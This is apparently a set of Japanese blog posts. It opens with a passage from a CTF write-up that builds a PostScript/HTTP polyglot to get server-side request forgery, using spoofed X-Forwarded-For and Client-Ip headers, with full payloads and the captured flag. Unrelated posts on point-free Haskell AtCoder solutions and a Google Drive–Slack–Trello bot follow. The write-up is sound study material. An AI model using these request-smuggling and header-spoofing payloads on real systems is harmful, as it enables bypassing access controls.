  • /admin への HTTP リクエストとして解釈でき、Client-Ip: 127.0.0.1 ヘッダーを持つ

Polyglot を組み立てる

どのようにして上記の polyglot を構成したのかを、順を追って説明します。

まず file コマンドに PostScript document text を出させる方法を調べました。file コマンドのソースコードを雑に grep すると、magic/Magdir/printer がヒットします。これはファイル種別を認識するための magic number が記載されているファイルで、ファイルの記法は man magic にて説明されています。

8 行目の記述から、ファイルの先頭が %! であれば PostScript document text と認識されることがわかります。

0    string      %!      PostScript document text

このファイルを読み進めると、他にも \004%! で始まるファイルや \033%-12345X@PJL で始まり途中に %! があるファイルでもよいことがわかりますが、制御文字が入ると余計しんどくなりそうなので %! でファイルを始めることにします。

今度は HTTP の視点で見てみます。%! で HTTP リクエストを開始しなければならないので面食らいますが、実は RFC 9110, RFC 9112 を読むと、メソッドには結構色々な記号を使えることがわかります。

method         = token
token          = 1*tchar

tchar          = "!" / "#" / "$" / "%" / "&" / "'" / "*"
               / "+" / "-" / "." / "^" / "_" / "`" / "|" / "~"
               / DIGIT / ALPHA               

というわけで、実は %! は HTTP メソッドになることができます。handleAdmin にはメソッドをチェックしている箇所がないので、%! メソッドでリクエストができるはずです。では、/admin への %! メソッドリクエストを書いてみます。ただしフラグを得るために Client-Ip: 127.0.0.1 ヘッダーが必要なので、それもつけておきます。

%! /admin HTTP/1.1
Host: backend:3000
Client-Ip: 127.0.0.1

さて、これをどうにか PostScript として解釈できるようにしましょう。ちなみにこの問題を解くまで PostScript を書いたことはなく、資料を見ながら色々試行錯誤しました。

PostScript におけるコメントは % から行末までです。従って、1 行目はコメントとして無視されます。複数行コメントの記法はないようですが、文字列リテラル (...) は複数行にまたがることができます。従って、次のように残り部分を丸括弧で囲えば ps2ps チェックに成功します。

%! /admin HTTP/1.1
(
Host: backend:3000
Client-Ip: 127.0.0.1
)

ですが、このままでは HTTP リクエストの構文を満たしません。閉じ括弧の方は適当に Foo: ) としてやれば良いのですが、開き括弧が厄介です。RFC 9110 において、ヘッダー名は次のように定義されています。

field-name     = token

前掲した token の定義と合わせると、開き括弧が field-name に出現することはできないとわかります。そこで Foo: ( のように括弧を field-value の中に書いてやれば HTTP の構文を満たすのですが、今度は ps2ps チェックに引っかかるようになります。いま、未完成の polyglot は次のようになっています。

%! /admin HTTP/1.1
Foo: (
Host: backend:3000
Client-Ip: 127.0.0.1
Foo: )

これを PostScript として解釈すると Foo: (文字列) というコードになっていますが、Foo: という識別子が定義されていないのでエラーが発生します。識別子を定義するには /Foo: 0 def などと書いておけば良いのですが、今度は HTTP リクエストの構文を満たさなくなります。field-name には / が出現することもできないので、field-name を用意して /field-value に追いやる必要があります。ですがそもそも Foo: を定義したくなったのは (field-name に出現できないから field-value に追いやりたい、というものでした。これでは堂々巡りです。

PostScript で定義済みの識別子を使って field-name を構成できれば良さそうな気もしますが、これもうまくいきません。HTTP ヘッダーとしては field-name の直後に : を書く必要があるのですが、PostScript において : はアルファベットと同様に識別子に使うことができる普通の文字なので、field-name: 全体が一つの識別子としてパースされます。PostScript の定義済みの識別子の中にコロンを含むものはおそらくないでしょう。

%field-name に含めることができるので、 newpath%: のようにしてコロンを無視することはできます。しかしそうすると field-value 部分もコメントアウトされてしまうので、肝心の ( を導入することができません。

PostScript における特殊文字()<>[]{}/% なのですが、このうち field-name に出現できるのは % のみです。頼みの綱の % ですが、PostScript のコメントも HTTP のヘッダーも行単位で解釈されるので、まさに「あちらを立てればこちらが立たず」という状態でした。CR・LF の解釈で差を生んでくれないかとかも試しましたが、ダメでした。

突破口となったのは、HTTP の Obsolete Line Folding です。これは、スペースから始まる行が新しいヘッダーではなく前の行の field-value の続きであると解釈される仕様です。つまり、「PostScript におけるコメントを脱出するが、HTTP における field-value を脱出しない」ことができます。

そうして出来上がったのが冒頭のペイロードです。

%! /admin HTTP/1.1
%a:a
 (
Host: backend:3000
Client-Ip: 127.0.0.1
a: )

2行目は PostScript のコメントであり、HTTP ヘッダー %a でもあります。3行目は PostScript における文字列リテラルの開始ですが、HTTP としては Obsolete Line Folding により 2 行目 の field-value の続きと解釈されます。その後は PostScript としては文字列リテラル、HTTP としてはヘッダーの羅列となっています。これで polyglot の完成です。

あとはこの scripthttp://frontend:5000/converter にアップロードするようなリクエストを投げればフラグが得られます。

Request:

POST /converter HTTP/1.1
Host: ps-converter.2023.ricercactf.com:51514
X-Forwarded-For: backend
X-Forwarded-For: 0.0.0.0
Content-Type: multipart/form-data; boundary=---------------------------386748468817694655632698534101
Content-Length: 314

-----------------------------386748468817694655632698534101
Content-Disposition: form-data; name="file"; filename="payload.ps"
Content-Type: application/postscript

%! /admin HTTP/1.1
%a:a
(
Host: backend:3000
Client-Ip: 127.0.0.1
a: )


-----------------------------386748468817694655632698534101--
          

Response:

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 24 Apr 2023 08:28:12 GMT
Content-Type: application/pdf
Content-Length: 128
Connection: keep-alive
Age: 0

HTTP/1.1 200 OK
Content-Type: text/plain
Date: Mon, 24 Apr 2023 08:28:12 GMT
Content-Length: 26

RicSec{0mg_It_d035nt_l00k_anyth1n9_f6b0c427d3e2}

本来は ps2pdf の結果をレスポンスボディとして返すエンドポイントなので、レスポンスボディが HTTP レスポンスになっている入れ子構造になっていますね。

別解

apolloteapot さんの writeup を読んだところ、なんと quit という命令を使うことで早々に PostScript の評価を終わらせることができたようです。

%!GET /admin HTTP/1.1
quit%: dummy
Host: backend
Client-Ip: 127.0.0.1

私も「quit 的な命令があればいけるかも」というのは思いついていたのですが、ググり力が足りず quit 命令の存在には気づけませんでした。exit とか試して「これじゃないな〜」とか言ってました。まあおかげで HTTP ヘッダーの仕様に詳しくなったのでよしとします。

余興

文字列リテラルで polyglot を作るとシンタックスハイライトしたときにあんまり美しくないと思ったので、文字列リテラルを使わないペイロードも考えてみました。

%! /admin HTTP/1.1
%a:a
 /Client-Ip: {} def
 /127.0.0.1 {} def
 /Host: {} def
 /backend:3000 {} def
Host: backend:3000
Client-Ip: 127.0.0.1

まあ、出てくる識別子を全部定義するだけです。Obsolete Line Folding が強すぎて割となんでも書けてしまいます。ところで 127.0.0.1 という名前のマクロを定義できるのはちょっとびっくりです。

おわりに

冒頭にも書きましたが、国内の学生チームの中で 1 位を取れたことを嬉しく思います。もちろんこれは私の力で達成したことではなく、他の問題を解いてくれたチームメイトのおかげです。

思い返すと、私が CTF を始めたきっかけは、私が大学 1 年のときに TSG が SECCON で優勝し、「CTF にめちゃくちゃ強いチームが私のすぐそばにあるのか。せっかくだから教えを請おう」と思ったことでした。大会や「1 位」の基準は違うものの、「TSG が CTF で 1 位をとる」という記録に今度はプレイヤーとして貢献できたのがとても感慨深いです。これがまた誰かの CTF を始めるきっかけになっていたとしたら、嬉しく思います。このような機会を用意してくださった運営や作問者のみなさま、ありがとうございました。

最後に宣伝で恐縮ですが、東大の学生で CTF に興味がある方はぜひ TSG に入部してください。S セメスターでは初心者向けの CTF 勉強会を予定しているので、今が始めどきです。お待ちしています。


  1. 私は現在修士 2 年です
  2. 実は IP アドレスでなくてもよく、ホスト名を指定するとよしなに名前解決される

AtCoder Beginners SelectionをHaskellで解く (2) ABC081A - Placing Marbles

AtCoder Beginners SelectionをHaskellで解く(1) ABC086A - Product - ねこも手を借りたい」の続編です。AtCoder Beginners Selections (ABS) をHaskellで解きます。 pizzacat83.hatenablog.com

普通に解くよりちょっと変なルール追加した方が楽しい気がしたので,コードの一部をポイントフリースタイルで書く,というルールを追加して解きます。詳しくは上の記事をご参照ください。

今回はABS 2問目の ABC081A - Placing Marbles を解きます。

解く

解きます。

f s = length $ filter ('1'==) s

main = do
  s <- getLine
  putStrLn $ show $ f s

文字列を [Char] とみてfilterをかけ,残った要素数を出力します。

余談ですがこの問題はifを3つ書く,ifを8つ書く,2進数と解釈してboolのリストに要素アクセスするなどいろいろな解法が考えられるので,ゴルフの問題としては面白そうだと思いました。

ポイントフリー化

変形していきます。

f s = length $ filter ('1'==) s
f s = length (filter ('1'==) s)
f s = length . (filter ('1'==)) s
f = length . filter ('1'==)

かなりシンプルなコードだったので,合成に書き換えるだけでできます。

atcoder.jp

つづく(といいな)

AtCoder Beginners SelectionをHaskellで解く(1) ABC086A - Product

最近なんとなく私は関数型言語が好きなのではないか!という根拠のない直感に従ってHaskellを始めました。始めると言ってもHaskellで作りたいものが特にあるというわけでもないので,AtCoder Beginners Selection (ABS) をとりあえず埋めてみようと思います。先に言っておくとABSをHaskellで埋めてる人は私以外にもたくさんいるので,もし参考にするものを探しているのであれば他のHaskell上級者さんのブログをあたった方がいいかもしれません。

追加ルール

で,まあ普通に埋めてもよかったんですが,ちょっと変なルール追加した方が面白い気がしたので,単にACするだけでなく,以下のルールを追加します。

  • 関数をポイントフリースタイルで定義する。

コードゴルフとかでもよかったんですが,ゴルフはもう少しHaskellに習熟してからやった方が楽しいと思うので今回はパスしました。

具体的にはこんな感じのルールです。他人と競ってるわけではないのでふわっとしています。私が合法だと思ったら合法なのだ。

  • main 関数では,入力をパースして変数に代入し,関数 f を適用した結果を出力する。
  • 入力を空白で区切る,数値型に変換するなど,入力文字列から適切なデータ構造への変換はしてよい。
  • f を適用した結果を文字列型に変換,なども main 関数内で行ってよい。
  • f はポイントフリースタイル,つまり仮引数を用いずに定義しなければならない。

要は計算の本質パートをポイントフリースタイルで書こう,という感じです。ふわふわ。今後解き進めていくにあたって私に都合よくルールが少しずつ変化していくと思われます。

解答

今回解く問題はABS 1問目の ABC086A - Productです。簡単に言うと与えられた整数A, Bの積の偶奇判定をします。

とりあえず出来上がったコードがこちらです。

import Data.Bool
 
f = (bool "Even" "Odd".).(odd.).(*)
 
main = do
  [a, b] <- (map read . words) <$> getLine
  putStrLn $ f a b

やりたいことの雰囲気が掴めたかと思います。

解く

とりあえず普通に解きます。

f a b = if odd (a * b) then "Odd" else "Even"

しょっぱなから大問題発生です。if-elseはどうやったらポイントフリーにできるのか。そもそもifは関数じゃないし………。そこで「haskell if point free」とかでググるbool というif-elseと等価な関数の存在を知ります。これを使うと,

f a b = bool "Even" "Odd" $ odd (a * b)

というなんとかなりそうな形になります。うるさいことを言うと, bool は非ポイントフリースタイルで実装されているので,これを使って f をポイントフリースタイルにするのはルール上どうなんだ,と思いましたがまあ誰かと競ってるわけじゃないのでこれは合法ということにしちゃいます。もう少しHaskell力が上がってこれをどうにかできるようになったら再挑戦してみるかもしれません。

ここからはゴリゴリ変形していきます。気合で仮引数を右へ右へと動かしていって関数合成の形になったらすかさず . 演算子,という感じでやるとできます。

f a b = bool "Even" "Odd" $ odd (a * b)
f a b = bool "Even" "Odd" $ odd ((a *) b)
f a b = bool "Even" "Odd" $ (odd.(a *)) b
f a b = bool "Even" "Odd" $ (odd.((*)a)) b
f a b = bool "Even" "Odd" $ ((odd.).(*))a b
f a b = (bool "Even" "Odd").(((odd.).(*))a)$ b
f a b = ((bool "Even" "Odd").)(((odd.).(*))a)$ b
f a b = (((bool "Even" "Odd").).((odd.).(*))) a  b
f = (((bool "Even" "Odd").).((odd.).(*)))
f = (bool "Even" "Odd".).(odd.).(*)

完成!🎉🎉🎉

途中で括弧が多くなってきて,どれがどれに対応するのかわからなくなってくるので,これだけのためにVSCodeの対応する括弧に色をつける拡張機能を入れました。

marketplace.visualstudio.com

関数合成は結合法則が成り立つので,最後は結構カッコが外れます。最後じゃなくて途中で外していってもよかったかもしれません。

元のコードを知っているというのもあるとは思いますが,これくらい簡単な処理であればポイントフリースタイルでも挙動を頭の中で追える気がします。

というわけで「AtCoder Beginners SelectionをHaskellで解く」第1回, ABC086A - Productでした。これは今後も続くのでしょうか。続けられるのでしょうか。まあいけるところまで頑張ります。ポイントフリースタイルがキツくなってきたら普通に解こうと思います。

つづく

pizzacat83.hatenablog.com

GASでGoogleドライブの更新をSlack通知・Trelloで管理

こんにちは。

以下の記事で紹介した,Googleドライブの更新をSlackに通知するbotのおはなしです。
pizzacat83.hatenablog.com

ソースコードはこちら。
github.com

概要

更新通知

特定のフォルダの子孫に更新があると,Slackにこんな感じの通知が来ます。(隠していますが,タイトル部分にはファイルのフルパスが表示されています。)
f:id:pizzacat83:20190302230608p:plain:w400

ファイル1つをattachment1つで表すため,100個以上のファイルが一気に更新されるとSlackの仕様で弾かれます。そもそも100行以上のメッセージが投稿されるとスクロールが大変です。Slackは「attachmentは20件までにしようね!」とドキュメントに書いているので,20件を超える場合はファイルとして投稿することによって折りたたみ表示されるようにします。プレーンテキストなのでSlackフリープランのストレージ制限はあまり気になりません。
f:id:pizzacat83:20190306204625p:plain:w400

Trello管理

生きていると時々ファイルが削除されることがあります。Googleドライブの共有設定で削除を禁止することはできないので,クラス共有フォルダ内で削除されるべきでないファイルが削除された場合,復元をする必要があります。消すやついないだろと思うかもしれませんが過去5回くらい消えました。ローカルのを消そうとして,とか。

復元するだけなら管理人(私)が雑に再アップロードすれば良いのですが,管理人はバカなので削除の通知が来ても「/* 後で対応する */」と言って結局忘却します。5回消えて3回忘却しました。ヒューマンエラーは環境の改善で解決されるべきです。

そこで,ファイル削除(復元ToDo)をTrelloで管理することにしました。SlackをTrelloと連携させた上で,ファイルが削除された際,ToDoリストにカードを追加します。 f:id:pizzacat83:20190306212637p:plain:w400

削除された日時の3日後が期限として設定されており,チェックリストには削除されたファイル一覧が表示されます(ただし数が多い場合はチェックリストではなく削除アイテム一覧のテキストファイルへのリンクが添付されます)。
f:id:pizzacat83:20190306210128p:plain

botがSlackにカードへのリンクを投稿し,Trello botが展開してくれます。これによってSlackからの操作が容易になります。
f:id:pizzacat83:20190306210422p:plain

それでも管理人は忘れそうなので,期限を過ぎてToDoに残っているカードはbotが自動で復元します。また,期限は過ぎていないが面倒なので自動修復してほしい場合は,Autofixというボードに移動しておくと自動復元してくれます。

自動復元しなくて良い場合はDoneリストにカードを移動すればよく,「今週中に修正版をアップロードするため消した」のような場合はカードの期限を週末に変更するだけで済みます。以上の操作は全てSlack上から/trelloコマンドで実行できます。

ボードの全体図はこんな感じです。

f:id:pizzacat83:20190330010335p:plain

うちのクラスの管理人は私だけで,Trelloのアカウントを持っている人も少ないので今のところこのボードは私しか使っていませんが,管理人が複数いる場合は担当者にassignすることもできますし,削除してしまった人にメンションしてカードのコメント欄で対応を協議することもできるでしょう。

実装

フォルダ下の更新情報を得る

Drive Activity API

かつては全てのファイルの最終更新日時を再帰的に調べていたんですが,ファイル総数が2000近くあって実行制限の6分以内に終わらなくなりました。Drive Activity APIを用いれば,そんなことしなくても一瞬で更新履歴を取得できます。しかも更新された時刻だけでなく,追加・移動・編集・共有設定変更など更新の詳細も取得できます。エウレカ

ある時刻からの全ての更新履歴を得るコードはこんな感じです。

ルートフォルダのIDを指定する際,クエリのancestorNameに指定する値は類とフォルダのIDにitems/を前置したものであることに注意してください。更新履歴が多い場合はnextPageTokenという値がもらえるので,それを用いてもう一度リクエストすると続きを見ることができます。また,consolidationStrategy{legacy: {}}にすると,同じユーザによる同時期の複数ファイルの追加などを1つにグルーピングしてくれます。

これで得た更新履歴を雑に整形してSlackに投げます。グルーピングされたまとまりの中には個々のActionが入っていて,それをattachmentにする衝動に駆られますが,例えば「ファイル1つを追加」という大きなまとまりの中にはファイル追加・移動・共有権限設定などのActionが含まれていて,それらをいちいち別個のattachmentにするのはあまり好ましくありません。そこで個々のActionは無視して,マクロ的な変更の内容,変更されたファイル一覧,変更したユーザ一覧,変更日時を見ることにします。

変更されたファイルについて,APIはファイルのIDと名前を教えてくれますが,フルパスはわかりません。ファイル名だけでは大抵何のファイルかわからないので,フルパスを取得します。

フルパス取得

そもそもGoogleドライブのファイルシステムは木ではありません。フォルダは複数の子を持つことができ,複数の親をもつことができます。よって,フルパスという概念はありません。

そこで,ファイルの親を再帰的に辿っていき,クラス共有フォルダにたどり着いたルートをフルパスとみなすことにします。ルートは複数あるかもしれませんがそれは気にしません。最短ルートであるかどうかもどうでもいいので雑にDFSします。あるフォルダからルートフォルダへの経路が既知である場合はそれを流用できるので,pathsというMapに記憶させます。

ちなみにMapはGASに実装されていないので,babelしましょう。

ユーザ名取得

Drive Activity APIは変更をしたユーザの情報も教えてくれるのですが,people/1234567890みたいなIDしか教えてくれないので誰のことだかさっぱりです。そこでPeople APIを使います。このgetメソッドを呼ぶと,ユーザの表示名を取得することができます(undefinedの場合もあります)。

undefined結構多いので,対応表を自分で用意したほうが早いかもしれませんね。うちのクラスメイトは全員クラスGoogleグループに登録されていて,それを利用して名前やメールアドレス(→Slackアカウントと紐付け)とか取得できないかなあと思ったんですが,現在@groups.google.comのメンバーを取得できるAPIはないそうです。悲しい。

フォルダを無視する

クラス共有フォルダには1時間ごとに更新されるログとかも入っていて,その更新通知が来ても困ります。無視したいフォルダを登録しておき,あるファイルの親フォルダが全て無視対象である場合に無視する,というルールで更新情報を無視します。

Trello連携

全般

Trello APIはドキュメント通りにリクエストを投げるだけですが,適当にラップします。

カード作成

Card作成→(Checklist追加→Checklistの中身を追加)or URLを添付→SlackにCardのurlを投稿
という流れになります。一つ一つリクエストを投げれば良いです。

自動復元の際にカードと削除されたファイルのID一覧との対応関係がわかるように,スクリプトのプロパティに登録します。

自動復元

カード作成時に記憶しておいたファイルのID一覧を取得して,各IDについて復元を実行します。具体的には,ファイルのコピーを作成し,元のファイルの親フォルダ全てにコピーを追加します。

フォルダの復元はGoogleドライブのファイルシステムがややこしくて,うまくやる方法がまだ思いついていないので,未実装です。助けてください

あとがき

実行時間が6分を超える旧仕様と比べた高速化を目指して大幅改修をしたわけですが,改修後も変更が多いと実行に30秒とかかかっていて,もう少し高速化したいです。高速化できそうな箇所はいくつかあるので,ぼちぼちやっていきます。